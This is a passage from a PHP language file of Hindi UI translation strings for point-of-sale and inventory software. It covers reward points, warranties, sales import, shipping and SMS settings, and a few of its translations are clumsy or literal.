मूल्य', 'select_same_for_all_rows' => 'सभी उत्पादों के लिए समान मूल्य चुनें', 'edited' => 'संपादित', 'by' => 'द्वारा', 'upload_documents' => 'अपलोड दस्तावेज़', 'documents' => 'दस्तावेज़', 'click_to_print' => 'प्रिंट करने के लिए क्लिक करें', 'deactivated_success' => 'सफलतापूर्वक निष्क्रिय हो गया', 'products_could_not_be_deleted' => 'कुछ उत्पादों को हटाया नहीं जा सका क्योंकि इसमें लेनदेन संबंधित है।', 'price' => 'मूल्य', 'auto_backup_instruction' => 'ऑटो बैकअप और बैकअप क्लीन को सक्षम करने के लिए आपको इस कमांड के साथ एक क्रॉन जॉब सेटअप करना होगा', 'gross_profit' => 'सकल लाभ', 'single' => 'एक', 'variable' => 'चर', 'total_purchase_price' => 'कुल खरीद मूल्य', 'total_sell_price' => 'कुल बिक्री मूल्य', 'packing_slip' => 'पैकिंग पर्ची', 'use_superadmin_email_settings' => 'सिस्टम ईमेल कॉन्फ़िगरेशन का उपयोग करें', 'profit_by_products' => 'उत्पादों द्वारा लाभ', 'profit_by_categories' => 'श्रेणियों द्वारा लाभ', 'profit_by_brands' => 'ब्रांडों द्वारा लाभ', 'profit_by_locations' => 'स्थानों द्वारा लाभ', 'profit_by_invoice' => 'चालान से लाभ', 'profit_by_date' => 'तिथि से लाभ', 'uncategorized' => 'अवर्गीकृत', 'add_purchase_return' => 'खरीद रिटर्न जोड़ें', 'edit_purchase_return' => 'खरीद रिटर्न संपादित करें', 'purchase_return_updated_success' => 'खरीद सफलतापूर्वक अपडेट की गई', 'profit_by_customer' => 'ग्राहक द्वारा लाभ', 'profit_by_day' => 'दिन के हिसाब से लाभ', 'sunday' => 'रविवार', 'monday' => 'सोमवार', 'tuesday' => 'मंगलवार', 'wednesday' => 'बुधवार', 'thursday' => 'गुरूवार', 'friday' => 'शुक्रवार', 'saturday' => 'शनिवार', 'show_product_image' => 'उत्पाद छवि दिखाएं', 'view_user' => 'उपयोगकर्ता देखें', 'allow_selected_contacts' => 'चयनित संपर्कों की अनुमति दें', 'allow_selected_contacts_tooltip' => 'केवल ग्राहक / आपूर्तिकर्ता खोज बॉक्स बेचने / खरीदने में चयनित संपर्कों तक पहुंचने की अनुमति दें', 'allowed_contacts' => 'स्वीकृत संपर्क', 'view_purchase_price' => 'देखें खरीद मूल्य', 'view_purchase_price_tooltip' => 'उत्पाद विवरण, स्टॉक ट्रांसफर और स्टॉक समायोजन में खरीद मूल्य देखने की अनुमति', 'created' => 'बनाया था', 'updated' => 'अपडेट किया गया', 'deleted' => 'हटाए गए', 'day' => 'दिवस', 'is_service_staff_required' => 'क्या सेवा कर्मचारियों की आवश्यकता है', 'items_report' => 'आइटम रिपोर्ट', 'purchase_price' => 'खरीद मूल्य', 'sell_date' => 'सेल डेट', 'returned' => 'लौटा हुआ', 'dob' => 'जन्म की तारीख', 'married' => 'शादी हो ग', 'unmarried' => 'अविवाहित', 'marital_status' => 'वैवाहिक स्थिति', 'blood_group' => 'रक्त समूह', 'divorced' => 'तलाकशुदा', 'contact_no' => 'संपर्क संख्या', 'fb_link' => 'फेसबुक लिंक', 'twitter_link' => 'ट्विटर लिंक', 'social_media' => 'सोशल मीडिया :number', 'permanent_address' => 'स्थाई पता', 'current_address' => 'वर्तमान पता', 'guardian_name' => 'अभिभावक का नाम', 'custom_field' => 'कस्टम फ़ील्ड :number', 'bank_details' => 'बैंक विवरण', 'account_holder_name' => 'खाता धारक का नाम', 'account_number' => 'खाता संख्या', 'bank_name' => 'बैंक का नाम', 'bank_code' => 'अधिकोष पहचानकर्ता कूट भाषा', 'bank_code_help' => 'अपने देश में बैंक की पहचान करने के लिए एक अनूठा कोड, उदाहरण के लिए: IFSC कोड', 'branch' => 'डाली', 'tax_payer_id' => 'करदाता परिचय पत्र', 'tax_payer_id_help' => 'कर्मचारी का आईडी नंबर, उदाहरण के लिए, भारत में पैन कार्ड', 'more_info' => 'अधिक जानकारियां', 'id_proof_name' => 'आईडी प्रूफ नाम', 'id_proof_number' => 'आईडी प्रूफ नंबर', 'view_own_sell_only' => 'केवल अपनी बिक्री देखें', 'reward_point_settings' => 'रिवार्ड पॉइंट सेटिंग्स', 'enable_rp' => 'रिवॉर्ड प्वाइंट सक्षम करें', 'rp_name' => 'रिवार्ड पॉइंट डिस्प्ले नेम', 'amount_for_unit_rp' => 'यूनिट पॉइंट के लिए राशि खर्च', 'min_order_total_for_rp' => 'इनाम कमाने के लिए न्यूनतम आदेश', 'max_rp_per_order' => 'प्रति आदेश अधिकतम अंक', 'earning_points_setting' => 'अंक अर्जित करना सेटिंग्स', 'redeem_points_setting' => 'अंक को भुनाएं', 'redeem_amount_per_unit_rp' => 'प्रति यूनिट पॉइंट पर रिडीम राशि', 'min_order_total_for_redeem' => 'अंकों को भुनाने के लिए न्यूनतम आदेश कुल', 'min_redeem_point' => 'न्यूनतम रिडीम पॉइंट', 'max_redeem_point' => 'प्रति आदेश अधिकतम रिडीम बिंदु', 'rp_expiry_period' => 'रिवार्ड पॉइंट एक्सपायरी पीरियड', 'redeemed_amount' => 'रेडीमेड राशि', 'max_points_used' => 'अधिकतम :points अंक का उपयोग किया जा सकता है', 'reward_points' => 'इनाम के अंक', 'max_reward_point_available' => 'अधिकतम :name उपलब्ध है', 'min_reward_points_used' => 'न्यूनतम :name का उपयोग किया जा सकता है', 'redeemed' => 'भुनाए', 'available' => 'उपलब्ध', 'earned' => 'अर्जित', 'total_reward_amount' => 'कुल ग्राहक इनाम', 'ledger' => 'खाता बही', 'type' => 'प्रकार', 'show_payments' => 'भुगतान दिखाएं', 'variation_images' => 'विविधता चित्र', 'file_deleted_successfully' => 'फ़ाइल सफलतापूर्वक हटा दी गई', 'combo' => 'कॉम्बो', 'not_for_selling' => 'बेचने के लिए नहीं', 'tooltip_not_for_selling' => 'यदि जाँच की जाती है, तो उत्पाद बिक्री के उद्देश्यों के लिए बिक्री स्क्रीन में प्रदर्शित नहीं किया जाएगा।', 'show_reward_point' => 'इनाम बिंदु दिखाएँ', 'enable_booking' => 'बुकिंग सक्षम करें', 'bulk_edit' => 'थोक संपादन', 'bulk_edit_products' => 'बल्क एडिट प्रोडक्ट्स', 'search_product_to_edit' => 'खोज उत्पाद संपादित करने के लिए', 'related_sub_units' => 'संबंधित उप इकाइयाँ', 'sub_units_tooltip' => 'चयनित इकाई के आधार पर यह उप इकाइयों को दिखाएगा। उप-इकाई लागू का चयन करें। यदि उत्पाद के लिए सभी उप-इकाइयां हैं तो रिक्त छोड़ दें।', 'enable_sub_units' => 'सब यूनिट सक्षम करें', 'added_on' => 'पर जोड़ा', 'quantity_mismatch_exception' => 'त्रुटि: अनुमति नहीं है: बेचे और उपलब्ध मात्रा के बीच बेमेल। उत्पाद: :product', 'roles_and_permissions' => 'भूमिकाएं और अनुमतियां', 'admin_role_location_permission_help' => 'व्यवस्थापक सभी स्थानों पर आरोप लगा सकता है', 'edit_product_price_from_pos_screen' => 'पीओएस स्क्रीन से उत्पाद मूल्य संपादित करें', 'edit_product_discount_from_pos_screen' => 'पीओएस स्क्रीन से उत्पाद छूट संपादित करें', 'download_template_file' => 'टेम्पलेट फ़ाइल डाउनलोड करें', 'types_of_service' => 'सेवा के प्रकार', 'add_type_of_service' => 'सेवा का प्रकार जोड़ें', 'packing_charge_type' => 'पैकिंग चार्ज प्रकार', 'packing_charge' => 'पैकिंग चार्ज', 'enable_custom_fields' => 'कस्टम फ़ील्ड सक्षम करें', 'edit_type_of_service' => 'सेवा का प्रकार संपादित करें', 'types_of_service_help' => 'सेवा के प्रकार का अर्थ है डाइन-इन, पार्सल, होम डिलीवरी, थर्ड पार्टी डिलीवरी आदि जैसी सेवाएँ।', 'select_types_of_service' => 'सेवा के प्रकार चुनें', 'service_custom_field_1' => 'कस्टम फ़ील्ड 1', 'service_custom_field_2' => 'कस्टम फ़ील्ड 2', 'service_custom_field_3' => 'कस्टम फ़ील्ड 3', 'service_custom_field_4' => 'कस्टम फ़ील्ड 4', 'default_selling_price_group' => 'डिफ़ॉल्ट विक्रय मूल्य समूह', 'location_price_group_help' => 'इस मूल्य समूह को इस स्थान पर डिफ़ॉल्ट मूल्य समूह के रूप में उपयोग किया जाएगा।', 'default_accounts' => 'मूल खाता', 'product_location_help' => 'स्थान जहां उत्पाद उपलब्ध होगा।', 'available_in_locations' => 'स्थानों में उपलब्ध है', 'enable' => 'सक्षम करें', 'payment_options' => 'भुगतान विकल्प', 'pay_reference_no' => 'वेतन संदर्भ संख्या।', 'search_settings' => 'खोज सेंटिंग', 'custom_labels' => 'कस्टम लेबल', 'labels_for_custom_payments' => 'कस्टम भुगतान के लिए लेबल', 'packed' => 'पैक', 'shipped' => 'भेज दिया', 'delivered' => 'पहुंचा दिया', 'shipping_address' => 'शिपिंग पता', 'shipping_status' => 'शिपिंग की स्थिति', 'delivered_to' => 'को पहुंचा दिया गया', 'edit_shipping' => 'एडिटिंग शिपिंग', 'shipments' => 'लदान', 'access_shipping' => 'एक्सेस शिपिंग', 'uploaded_by' => 'द्वारा डाली गई', 'account_types' => 'खाता प्रकार', 'add_account_type' => 'खाता प्रकार जोड़ें', 'parent_account_type' => 'जनक खाता प्रकार', 'edit_account_type' => 'खाता प्रकार संपादित करें', 'account_type' => 'खाते का प्रकार', 'account_sub_type' => 'खाता उप प्रकार', 'enable_updating_product_price_tooltip' => 'यदि किसी उत्पाद के खरीद मूल्य और विक्रय मूल्य को सक्षम किया जाता है तो खरीद या अद्यतन के बाद अद्यतन किया जाएगा', 'default_datatable_page_entries' => 'डिफ़ॉल्ट डेटा पृष्ठ प्रविष्टियाँ', 'product_not_found_exception' => 'SKU: :sku के साथ उत्पाद :row में नहीं मिला पंक्ति', 'price_group_not_found_exception' => 'नाम के साथ मूल्य समूह :pg पंक्ति :row में नहीं मिली', 'price_group_non_numeric_exception' => 'गैर संख्यात्मक मूल्य पंक्ति पर पाया गया :row', 'total_stock_price' => 'वर्तमान स्टॉक मूल्य', 'test_email_configuration' => 'परीक्षण ईमेल भेजें', 'email_tested_successfully' => 'ईमेल कॉन्फ़िगरेशन सफलतापूर्वक सत्यापित किया गया', 'test_number' => 'टेस्ट नंबर', 'test_sms_configuration' => 'टेस्ट एसएमएस भेजें', 'test_number_is_required' => 'टेस्ट नंबर आवश्यक है', 'import_contact_type_ins' => 'उपलब्ध विकल्प: <strong> <br> 1 = ग्राहक, <br> 2 = आपूर्तिकर्ता <br> 3 = दोनों </strong>', 'enable_pos_transaction_date' => 'पीओएस स्क्रीन पर लेनदेन की तारीख सक्षम करें', 'amount_for_unit_rp_tooltip' => '<strong> मतलब कि एक इनाम अंक पाने के लिए ग्राहक ने कितना खर्च किया। </strong> <br> <br> <strong> उदाहरण: </strong> यदि आप इसे 10 के रूप में सेट करते हैं, तो ग्राहक द्वारा खर्च किए गए प्रत्येक $ 10 के लिए एक इनाम अंक मिलेगा। यदि ग्राहक $ 1000 के लिए खरीदता है तो उन्हें 100 इनाम अंक मिलेंगे। ', 'max_rp_per_order_tooltip' => 'अधिकतम इनाम अंक ग्राहक एक चालान में कमा सकता है। यदि आप इस तरह के प्रतिबंध नहीं चाहते हैं तो इसे खाली छोड़ दें।', 'min_order_total_for_rp_tooltip' => '<strong> ग्राहक को इनाम अंक प्राप्त करने के लिए न्यूनतम राशि खर्च की जानी चाहिए। </strong> <br> <br> <strong> उदाहरण: </strong> यदि आप इसे 100 के रूप में सेट करते हैं, तो ग्राहक को इनाम अंक तभी मिलेंगे जब वहां इनवॉइस कुल से अधिक या 100 के बराबर है। यदि इनवॉइस कुल 99 है, तो उन्हें कोई इनाम अंक नहीं मिलेगा। <br> <br> आप इसे 1% के रूप में सेट कर सकते हैं', 'redeem_amount_per_unit_rp_tooltip' => '<strong> यह प्रति बिंदु रिडीम राशि इंगित करता है। </strong> <br> <br> <strong> उदाहरण के लिए: </strong> यदि 1 अंक $ 1 है तो मान के रूप में दर्ज करें 1. यदि 2 अंक $ 1 है तो मान 0.50 दर्ज करें', 'min_order_total_for_redeem_tooltip' => 'न्यूनतम आदेश कुल जिसके लिए ग्राहक अंक भुना सकता है। यदि आपको इस प्रतिबंध की आवश्यकता नहीं है या आप मुफ्त में कुछ चाहते हैं तो इसे खाली छोड़ दें।', 'min_redeem_point_tooltip' => 'न्यूनतम रिडीम बिंदु जो प्रति इनवॉइस के लिए उपयोग किए जा सकते हैं। यदि आपको इस प्रतिबंध की आवश्यकता नहीं है तो इसे खाली छोड़ दें।', 'max_redeem_point_tooltip' => 'अधिकतम अंक जो एक क्रम में उपयोग किए जा सकते हैं। यदि आपको इस प्रतिबंध की आवश्यकता नहीं है तो इसे खाली छोड़ दें।', 'rp_expiry_period_tooltip' => '<strong> ग्राहक द्वारा अर्जित अंकों के लिए समाप्ति की अवधि। </strong> <br> <br> आप इसे महीनों या वर्ष में निर्धारित कर सकते हैं। इस अवधि के बाद समय सीमा समाप्त अंक अपने आप ग्राहक खाते से कट जाएंगे।', 'configure_product_search' => 'उत्पाद खोज कॉन्फ़िगर करें', 'search_products_by' => 'खोज उत्पादों द्वारा', 'credit_sales' => 'उधार बिक्री', 'total_payment' => 'कुल भुगतान', 'deactivate_location' => 'स्थान को निष्क्रिय करें', 'activate_location' => 'सक्रिय स्थान', 'business_location_activated_successfully' => 'व्यावसायिक स्थान सफलतापूर्वक सक्रिय', 'business_location_deactivated_successfully' => 'व्यावसायिक स्थान सफलतापूर्वक निष्क्रिय कर दिया गया', 'show_credit_sale_button' => 'क्रेडिट बिक्री बटन दिखाएं', 'show_credit_sale_btn_help' => 'यदि सक्षम क्रेडिट बिक्री बटन को पॉज़ स्क्रीन पर कार्ड बटन के स्थान पर दिखाया जाएगा', 'credit_sale' => 'क्रेडिट बिक्री', 'tooltip_credit_sale' => 'क्रेडिट बिक्री के रूप में चेकआउट', 'add_as_sub_txonomy' => 'उप वर्गीकरण के रूप में जोड़ें', 'warranty' => 'वारंटी', 'warranties' => 'वारंटी', 'all_warranties' => 'सभी वारंटियाँ', 'add_warranty' => 'वारंटी प्रदान करें', 'duration' => 'अवधि', 'edit_warranty' => 'वारंटी संपादित करें', 'enable_product_warranty' => 'वारंटी सक्षम करें', 'warranty_ends_on' => 'वारंटी समाप्त होती है', 'restaurant_module_settings' => 'रेस्तरां मॉड्यूल सेटिंग', 'warranty_module_settings' => 'वारंटी मॉड्यूल सेटिंग्स', 'show_warranty_name' => 'वारंटी नाम दिखाएं', 'show_warranty_exp_date' => 'वारंटी की समाप्ति तिथि दिखाएं', 'show_warranty_description' => 'वारंटी विवरण दिखाएं', 'gender' => 'लिंग', 'male' => 'पुरुष', 'female' => 'महिला', 'others' => 'अन्य', 'recent_transactions' => 'हाल ही के लेनदेन', 'add_row' => 'लाइन जोड़ो', 'add_widget_here' => 'यहां एक विजेट जोड़ें', 'move_row' => 'पंक्ति को स्थानांतरित करें', 'configure_dashboard' => 'डैशबोर्ड कॉन्फ़िगर करें :name', 'change_return_label' => 'रिटर्न लेबल बदलें', 'change_return_help' => 'यदि अतिरिक्त भुगतान किया जाता है तो ग्राहक को बदले जाने वाली राशि को लौटाया जाता है।', 'profile_photo' => 'प्रोफाइल फोटो', 'upload_image' => 'तस्वीर डालिये', 'expense_tax' => 'व्यय कर', 'expense_tax_tooltip' => 'चयनित समय अवधि के लिए व्यावसायिक खर्चों के लिए भुगतान किया गया कुल कर', 'tax_overall' => 'कुल मिलाकर (इनपुट - आउटपुट - व्यय)', 'overdue' => 'अतिदेय', 'partial-overdue' => 'आंशिक अतिदेय', 'due_date_label' => 'नियत तिथि लेबल', 'show_due_date' => 'नियत तिथि दिखाएं', 'contact_custom_field1' => 'कस्टम फ़ील्ड 1', 'contact_custom_field2' => 'कस्टम फ़ील्ड 2', 'contact_custom_field3' => 'कस्टम फ़ील्ड 3', 'contact_custom_field4' => 'कस्टम फ़ील्ड 4', 'added_by' => 'द्वारा जोड़ा', 'authorized_signatory' => 'अधिकृत हस्ताक्षरकर्ता', 'no_location_access_found' => 'कोई स्थान नहीं मिला', 'location_custom_field1' => 'कस्टम फ़ील्ड 1', 'location_custom_field2' => 'कस्टम फ़ील्ड 2', 'location_custom_field3' => 'कस्टम फ़ील्ड 3', 'location_custom_field4' => 'कस्टम फ़ील्ड 4', 'user_custom_field1' => 'कस्टम फ़ील्ड 1', 'user_custom_field2' => 'कस्टम फ़ील्ड 2', 'user_custom_field3' => 'कस्टम फ़ील्ड 3', 'user_custom_field4' => 'कस्टम फ़ील्ड 4', 'logo_not_work_in_sms' => 'व्यवसाय लोगो एसएमएस में काम नहीं करेगा', 'notification_email_tooltip' => 'प्राप्तकर्ता ईमेल के कोमा को अलग कर दिया', 'heading' => 'शीर्षक', 'updated_at' => 'अपडेटेड एट', 'documents_and_notes' => 'दस्तावेज़ और नोट', 'add_note' => 'नोट जोड़े', 'edit_note' => 'एडिट नोट', 'is_private' => 'प्राइवेट है?', 'private' => 'निजी', 'documents' => 'दस्तावेज़', 'note_will_be_visible_to_u_only' => 'नोट और दस्तावेज़ केवल आपको दिखाई देंगे', 'activities' => 'क्रियाएँ', 'no_limit' => 'कोई सीमा नहीं', 'contains_media' => 'इस नोट में मीडिया है', 'private_note' => 'यह निजी नोट है', 'amount_rounding_method' => 'राशि राउंडिंग विधि', 'round_to_nearest_whole_number' => 'निकटतम पूर्ण संख्या में गोल', 'round_to_nearest_decimal' => 'निकटतम दशमलव (:multiple का गुणज) का दौर', 'amount_rounding_method_help' => 'उदाहरण: <br> <b> निकटतम पूर्ण संख्या में गोल: </b> 2.23 => 2, 2.50 => 3, 2.73 => 3 <br> <b> निकटतम दशमलव (0.05 से अधिक) का दौर: < / b> 2.11 => 2.10, 2.12 => 2.10, 2.13 => 2.15 ', 'round_off' => 'पूर्णांक करना', 'round_off_label' => 'राउंड ऑफ लेबल', 'total_sell_round_off' => 'टोटल सेल राउंड ऑफ', 'user_info' => 'उपयोगकर्ता के लिए जानकारी', 'enable_weighing_scale' => 'वेटिंग स्केल सक्षम करें', 'weighing_scale_setting' => 'वजनी स्केल बारकोड सेटिंग', 'weighing_scale_setting_help' => 'अपने वजन के अनुसार बारकोड कॉन्फ़िगर करें।', 'weighing_barcode_prefix' => 'उपसर्ग', 'weighing_product_sku_length' => 'उत्पाद sku लंबाई', 'weighing_qty_integer_part_length' => 'मात्रा पूर्णांक भाग की लंबाई', 'weighing_qty_fractional_part_length' => 'मात्रा अंश आंशिक लंबाई', 'weighing_scale' => 'वजन पैमाना', 'weighing_scale_barcode' => 'वजनी स्केल बारकोड', 'weighing_scale_barcode_help' => 'तौल बिक्री से बारकोड को स्कैन करें और सबमिट करें', 'prefix_did_not_match' => 'उपसर्ग मेल नहीं खाता', 'sku_not_match' => 'कोई उत्पाद sku के साथ नहीं मिला :sku', 'total_quantity_label' => 'कुल मात्रा लेबल', 'account_summary' => 'खाता सारांश', 'ledger_table_heading' => 'के बीच सभी चालान और भुगतान दिखा रहा है :start_date और :end_date', 'beginning_balance' => 'शुरुआती राशि', 'total_invoice' => 'कुल इन्वॉइस', 'balance_due' => 'शेष राशि', 'send_ledger' => 'भेजें लेजर', 'notifications' => 'सूचना', 'ledger_attacment_help' => 'लेजर इस ईमेल के साथ पीडीएफ प्रारूप में संलग्न किया जाएगा', 'upload_module' => 'अपलोड मॉड्यूल', 'upload' => 'डालना', 'pls_upload_valid_zip_file' => 'कृपया एक मान्य ज़िप फ़ाइल अपलोड करें।', 'import_sales' => 'आयात बिक्री', 'preview_imported_sales' => 'पूर्वावलोकन आयात की गई बिक्री', 'customer_phone_number' => 'ग्राहक फोन नंबर', 'customer_email' => 'ग्राहक ईमेल', 'item_tax' => 'आइटम कर', 'item_discount' => 'आइटम छूट', 'item_description' => 'वस्तु वर्णन', 'order_total' => 'कुल आदेश', 'upload_and_review' => 'अपलोड करें और समीक्षा करें', 'group_sale_line_by' => 'समूह बेच लाइन द्वारा', 'import_sale_product_not_found' => 'नाम के साथ उत्पाद :product_name या sku :sku पंक्ति में नहीं मिला :row', 'import_sale_tax_not_found' => 'कर :कर_नाम row :row में नहीं मिला', 'email_or_phone_required' => 'ग्राहक फोन या ईमेल आवश्यक है', 'product_name_or_sku_is_required' => 'उत्पाद का नाम या SKU आवश्यक है', 'quantity_is_required' => 'मात्रा आवश्यक है', 'unit_price_is_required' => 'यूनिट मूल्य आवश्यक है', 'sales_imported_successfully' => 'बिक्री सफलतापूर्वक आयात की गई', 'upload_data_in_excel_format' => 'एक्सेल प्रारूप में बिक्री डेटा अपलोड करें', 'map_columns_with_respective_sales_fields' => 'प्रत्येक कॉलम के लिए संबंधित बिक्री फ़ील्ड चुनें', 'choose_location_and_group_by' => 'व्यावसायिक स्थान चुनें और कॉलम जिसके द्वारा लाइनें बेची जाएंगी,', 'date_format_instruction' => 'बिक्री की तारीख का समय प्रारूप "Y-m-d H:i:s" होना चाहिए (2020-07-15 17:45:32)', 'product_name_single_only' => 'उत्पाद का नाम (केवल एकल या कॉम्बो उत्पाद)', 'product_sku' => 'उत्पाद SKU', 'product_unit' => 'उत्पाद इकाई', 'import_sale_unit_not_found' => 'नाम के साथ इकाई :unit_name पंक्ति में नहीं मिला :row', 'types_of_servicet_not_found' => 'नाम के साथ सेवा के प्रकार :type_of_service_name पंक्ति में नहीं मिला :row', 'email_or_phone_cannot_be_empty_in_row' => 'पंक्ति में या तो ग्राहक फोन या ईमेल आवश्यक है :row', 'product_cannot_be_empty_in_row' => 'पंक्ति में या तो उत्पाद का नाम या उत्पाद SKU आवश्यक है :row', 'quantity_cannot_be_empty_in_row' => 'पंक्ति में उत्पाद की मात्रा आवश्यक है :row', 'unit_price_cannot_be_empty_in_row' => 'इकाई मूल्य पंक्ति में आवश्यक है :row', 'imports' => 'आयात', 'invoices' => 'चालान', 'import_batch' => 'आयात बैच', 'import_time' => 'आयात समय', 'cannot_select_a_field_twice' => 'आप एक क्षेत्र का चयन दो बार नहीं कर सकते हैं', 'revert_import' => 'वापस आयात करें', 'import_reverted_successfully' => 'आयात सफलतापूर्वक हुआ', 'importable_fields' => 'आयात योग्य क्षेत्र', 'sort_order' => 'क्रमबद्ध आदेश', 'total_returned' => 'कुल रिटर्न', 'skip' => 'छोड़ें', 'group_by_tooltip' => 'एक ही इनवॉइस में बिक्री लाइनों को समूहीकृत करने के लिए कॉलम', 'allowed_file' => 'स्वीकृत फ़ाइल', 'detailed_with_purchase' => 'विस्तृत (खरीद के साथ)', 'supplier_name' => 'आपूर्तिकर्ता का नाम', 'purchase_ref_no' => 'खरीद रेफरी नं। खरीद', 'save_and_print' => 'सहेजें और प्रिंट करें', 'update_and_print' => 'अपडेट और प्रिंट करें', 'all_your_discounts' => 'आपके सभी छूट', 'priority' => 'प्राथमिकता', 'starts_at' => 'पर आरंभ होती है', 'ends_at' => 'खतम होता है', 'used_for_browser_based_printing' => 'ब्राउज़र आधारित मुद्रण के लिए प्रयुक्त', 'hsn_or_category_code' => 'HSN या श्रेणी कोड', 'discounts' => 'छूट', 'allow_overselling' => 'अनुमति दें', 'view_own_purchase' => 'केवल अपनी खरीद देखें', 'view_own_expense' => 'केवल अपना खर्च देखें', 'allow_login' => 'लॉग इन की अनुमति दें', 'login_not_allowed' => 'लॉगिन की अनुमति नहीं है', 'labels_for_contact_custom_fields' => 'संपर्क कस्टम फ़ील्ड के लिए लेबल', 'labels_for_product_custom_fields' => 'उत्पाद कस्टम क्षेत्रों के लिए लेबल', 'labels_for_purchase_custom_fields' => 'खरीद खेतों के लिए लेबल', 'labels_for_sell_custom_fields' => 'कस्टम फ़ील्ड बेचने के लिए लेबल', 'labels_for_location_custom_fields' => 'स्थान कस्टम फ़ील्ड के लिए लेबल', 'labels_for_types_of_service_custom_fields' => 'सेवा कस्टम क्षेत्रों के प्रकार के लिए लेबल', 'labels_for_user_custom_fields' => 'उपयोगकर्ता कस्टम फ़ील्ड के लिए लेबल', 'total_transfer_shipping_charge' => 'टोटल ट्रांसफर शिपिंग चार्ज', 'total_purchase_shipping_charge' => 'कुल खरीद शिपिंग चार्ज', 'total_sell_shipping_charge' => 'टोटल सेल शिपिंग चार्ज', 'opening_stock_location' => 'ओपनिंग स्टॉक लोकेशन', 'product_locations_ins' => 'कोमा ने व्यवसाय के स्थान के नामों को अलग कर दिया जहां उत्पाद उपलब्ध होगा', 'product_locations' => 'उत्पाद स्थान', 'view_products' => 'उत्पाद देखें', 'pos_screen_featured_products' => 'पीओएस स्क्रीन फीचर्ड प्रोडक्ट्स', 'featured_products_help' => 'चयनित उत्पादों को त्वरित पहुंच के लिए पॉज़ स्क्रीन उत्पाद सुझाव के शीर्ष पर दिखाया जाएगा', 'purchase_report' => 'खरीद रिपोर्ट', 'sale_report' => 'बिक्री रिपोर्ट', 'payment_date' => 'भुगतान तिथि', 'year_month' => 'वर्ष माह', 'lead' => 'लीड', 'featured_products' => 'विशेष रुप से प्रदर्शित प्रोडक्टस', 'repeat_on' => 'दोहराएं', 'access_tables' => 'एक्सेस टेबल', 'access_printers' => 'एक्सेस प्रिंटर', 'access_types_of_service' => 'सेवा के प्रकार', 'search_address' => 'खोज पता', 'contact_locations' => 'संपर्क स्थान', 'map' => 'नक्शा', 'both_customer_and_supplier' => 'दोनों ग्राहक और आपूर्तिकर्ता', 'service' => 'सर्विस', 'either_cust_email_or_phone_required' => 'या तो ग्राहक ईमेल आईडी या फोन नंबर आवश्यक है', 'either_product_name_or_sku_required' => 'या तो उत्पाद का नाम (केवल और कॉम्बो के लिए) या उत्पाद स्कू आवश्यक है', 'show_invoice_scheme' => 'चालान योजना दिखाएं', 'select_invoice_scheme' => 'चालान योजना चुनें', 'recurring_expense_help' => 'अगर यह जाँच की जाए तो यह खर्च नियमित अंतराल पर स्वतः उत्पन्न हो जाएगा।', 'recur_interval' => 'आवर्ती अंतराल', 'recur_expense_repetition_help' => 'यदि खाली खर्च अनंत बार उत्पन्न हो जाएगा', 'recurring_expense_message' => 'नया आवर्ती व्यय उत्पन्न। रेफरी नं .: <i>:ref_no </ i>', 'recurring_expense' => 'आवर्ती व्यय', 'generated_recurring_expense' => 'उत्पन्न आवर्ती व्यय', 'select_contacts' => 'संपर्क चुनें', 'middle_name' => 'मध्य नाम', 'address_line_1' => 'पता पंक्ति 1', 'address_line_2' => 'पता पंक्ति नं। 2', 'dob' => 'जन्म की तारीख', 'dob_ins' => 'प्रारूप Y-m-d', 'by_purchase_price' => 'खरीद मूल्य द्वारा', 'by_sale_price' => 'बिक्री मूल्य द्वारा', 'potential_profit' => 'संभावित लाभ', 'apply_all' => 'सभी लागू', 'hide_all_prices' => 'सभी मूल्य छुपाएं', 'select_invoice_layout' => 'इनवॉइस लेआउट चुनें', 'max_sales_discount_percent' => 'अधिकतम बिक्री छूट प्रतिशत', 'max_sales_discount_percent_help' => 'अधिकतम छूट प्रतिशत जो एक उपयोगकर्ता बिक्री के दौरान दे सकता है। इसे बिना किसी बाधा के खाली छोड़ दें', 'max_discount_error_msg' => 'आप अधिकतम दे सकते हैं: बिक्री पर discount% छूट', 'show_invoice_layout' => 'इनवॉइस लेआउट ड्रॉपडाउन दिखाएँ', 'recurred_from' => 'से पुनर्प्राप्त', 'recur_details' => 'आवर्ती विवरण', 'recurring' => 'आवर्ती', 'view_product_stock_value' => 'उत्पाद स्टॉक मूल्य देखें', 'added' => 'जोड़ा गया', 'disable_credit_sale_button' => 'क्रेडिट बिक्री बटन अक्षम करें', 'pay' => 'भुगतान', 'use_advance_balance' => 'अग्रिम शेष राशि का उपयोग करें', 'advance' => 'अग्रिम', 'advance_balance' => 'अग्रिम शेष', 'advance_payment' => 'अग्रिम भुगतान', 'required_advance_balance_not_available' => 'आवश्यक अग्रिम शेष उपलब्ध नहीं', 'in_transit' => 'संक्रमण में', 'edit_stock_transfer' => 'संपादित करें स्टॉक ट्रांसफर', 'completed_status_help' => 'स्टॉक ट्रांसफर संपादन योग्य नहीं होगा यदि स्टेटस पूरा हो गया है', 'no_data' => 'नो डेटा', 'sms_service' => 'एसएमएस सर्विस', 'nexmo_key' => 'नेक्समो की', 'nexmo_secret' => 'नेक्समो सीक्रेट', 'twilio_token' => 'ट्विलियो एक्सेस टोकन', 'twilio_sid' => 'ट्विलियो अकाउंट एसआईडी', 'upcoming' => 'आगामी', 'final' => 'फाइनल', 'expense_for_contact' => 'संपर्क के लिए व्यय', 'create' => 'बनाएँ', 'waiting' => 'इंतज़ार कर रही', 'sms_settings_header_key' => 'हेडर: नंबर कुंजी', 'sms_settings_header_val' => 'हैडर: संख्या मान', 'stock_adjustment_details' => 'स्टॉक समायोजन विवरण', 'stock_transfer_details' => 'स्टॉक ट्रांसफर विवरण', 'invoice_layout_for_pos' => 'पीओएस के लिए चालान लेआउट', 'invoice_layout_for_sale' => 'बिक्री के लिए चालान लेआउट', 'invoice_layout_for_sale_tooltip' => 'प्रत्यक्ष बिक्री के लिए चालान लेआउट', 'new_quotation' => 'नया उद्धरण', 'new_quotation_notification' => 'नई उद्धरण अधिसूचना', 'view_quote_url' => 'उद्धरण url देखें', 'close_cash_register' => 'कैश रजिस्टर बंद करें', 'view_cash_register' => 'कैश रजिस्टर देखें', 'for_tax_group_only' => 'केवल कर समूह के लिए', 'for_tax_group_only_help' => 'यदि जाँच की जाती है, तो यह कर ड्रॉपडाउन में व्यक्तिगत रूप से प्रदर्शित नहीं किया जाएगा, केवल कर समूह में जोड़ा जा सकता है', 'exempt' => 'मुक्त', 'tax_exempt_help' => 'शून्य प्रतिशत कर की दर को कर मुक्त माना जाएगा', 'show_total_in_words' => 'शब्दों में कुल दिखाएँ', 'show_in_word_help' => 'php-intl extention को सक्षम करने की आवश्यकता है', 'print_on_suspend' => 'सस्पेंड पर प्रिंट चालान', 'view_all_customer' => 'सभी 